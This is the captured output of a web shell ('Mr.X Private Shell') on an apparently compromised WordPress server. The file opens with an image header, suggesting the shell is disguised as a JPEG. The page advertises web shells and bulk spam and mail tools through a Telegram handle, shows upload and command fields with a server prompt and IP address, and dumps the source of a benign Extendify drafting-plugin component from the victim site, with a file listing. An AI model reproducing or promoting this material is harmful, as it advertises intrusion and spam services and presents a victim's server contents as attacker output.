����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

fistvdlb@216.73.217.65: ~ $
import { Completion } from '@draft/components/Completion';
import { ConsentSidebar } from '@draft/components/ConsentSidebar';
import { DraftMenu } from '@draft/components/DraftMenu';
import { EditMenu } from '@draft/components/EditMenu';
import { Input } from '@draft/components/Input';
import { InsertMenu } from '@draft/components/InsertMenu';
import { SelectedText } from '@draft/components/SelectedText';
import { useCompletion } from '@draft/hooks/useCompletion';
import { useRouter } from '@draft/hooks/useRouter';
import { useSelectedText } from '@draft/hooks/useSelectedText';
import { useAIConsentStore } from '@shared/state/ai-consent';
import { store as blockEditorStore } from '@wordpress/block-editor';
import { BaseControl, Panel, PanelBody } from '@wordpress/components';
import { useSelect } from '@wordpress/data';
import { useEffect, useState } from '@wordpress/element';
import { __ } from '@wordpress/i18n';

export const Draft = () => {
	const { selectedText } = useSelectedText();
	const [inputText, setInputText] = useState('');
	const [ready, setReady] = useState(false);
	const [prompt, setPrompt] = useState({
		text: '',
		promptType: '',
		systemMessageKey: '',
		details: {},
	});
	const { completion, loading, error } = useCompletion(
		prompt.text,
		prompt.promptType,
		prompt.systemMessageKey,
		prompt.details,
	);
	const { selectedBlockClientIds, getBlock } = useSelect((select) => {
		const blockEditor = select(blockEditorStore);
		return {
			selectedBlockClientIds: blockEditor.getSelectedBlockClientIds(),
			getBlock: blockEditor.getBlock,
			getBlocks: blockEditor.getBlocks,
		};
	}, []);

	const { CurrentPage: PhotosSection } = useRouter();
	// TODO: move to global state
	const shouldShowAIConsent = useAIConsentStore((state) =>
		state.shouldShowAIConsent('draft'),
	);

	// TODO: When doing a rewrite, make this global state
	useEffect(() => {
		// Allow for external updates
		const handle = (event) => {
			if (shouldShowAIConsent) return;
			setPrompt(event.detail);
		};
		window.addEventListener('extendify-draft:set-prompt', handle);
		return () =>
			window.removeEventListener('extendify-draft:set-prompt', handle);
	}, [shouldShowAIConsent]);

	// Reset input text when an error occurs
	useEffect(() => {
		if (!error) return;
		setInputText(prompt.text);
	}, [error, prompt.text]);

	const canEditContent = () => {
		if (selectedBlockClientIds.length === 0) {
			return false;
		}
		const targetBlock = getBlock(selectedBlockClientIds[0]);
		if (!targetBlock) {
			return false;
		}
		return (
			typeof targetBlock?.attributes?.content !== 'undefined' &&
			targetBlock?.attributes?.content !== ''
		);
	};

	const isImageBlock = () => {
		if (selectedBlockClientIds.length === 0) return false;

		const supportedBlocks = [
			'core/image',
			'core/media-text',
			'core/gallery',
			'core/cover',
		];
		const targetBlock = getBlock(selectedBlockClientIds[0]);
		if (!targetBlock) return false;

		return supportedBlocks.includes(targetBlock.name);
	};

	if (shouldShowAIConsent) {
		return <ConsentSidebar />;
	}

	if (isImageBlock()) return <PhotosSection />;

	return (
		<Panel>
			<PanelBody>
				{selectedText && <SelectedText loading={loading} />}

				<div className="mb-4 overflow-hidden rounded-xs border-none bg-gray-100">
					{!completion && (
						<Input
							inputText={inputText}
							setInputText={setInputText}
							ready={ready}
							setReady={setReady}
							setPrompt={setPrompt}
							loading={loading}
						/>
					)}
					{completion && <Completion completion={completion} />}
					{error && (
						<div className="mb-4 mt-2 px-4">
							<p className="m-0 text-xs font-semibold text-red-500">
								{error.message}
							</p>
						</div>
					)}
				</div>
				{(completion || loading) && !error && (
					<InsertMenu
						prompt={prompt}
						completion={completion}
						setPrompt={setPrompt}
						setInputText={setInputText}
						loading={loading}
					/>
				)}
				{!loading && !completion && canEditContent() && (
					<BaseControl>
						<EditMenu
							completion={completion}
							disabled={loading}
							setInputText={setInputText}
							setPrompt={setPrompt}
						/>
					</BaseControl>
				)}
				{!loading && !completion && !canEditContent() && (
					<BaseControl
						__nextHasNoMarginBottom
						label={__('Suggested prompts', 'extendify-local')}
					>
						<DraftMenu
							disabled={loading}
							setInputText={setInputText}
							setReady={setReady}
						/>
					</BaseControl>
				)}
			</PanelBody>
		</Panel>
	);
};

Filemanager

Name Type Size Permission Actions
api Folder 0755
components Folder 0755
hooks Folder 0755
pages Folder 0755
state Folder 0755
svg Folder 0755
Draft.jsx File 4.46 KB 0644
app.js File 3.32 KB 0644
draft.css File 1.35 KB 0644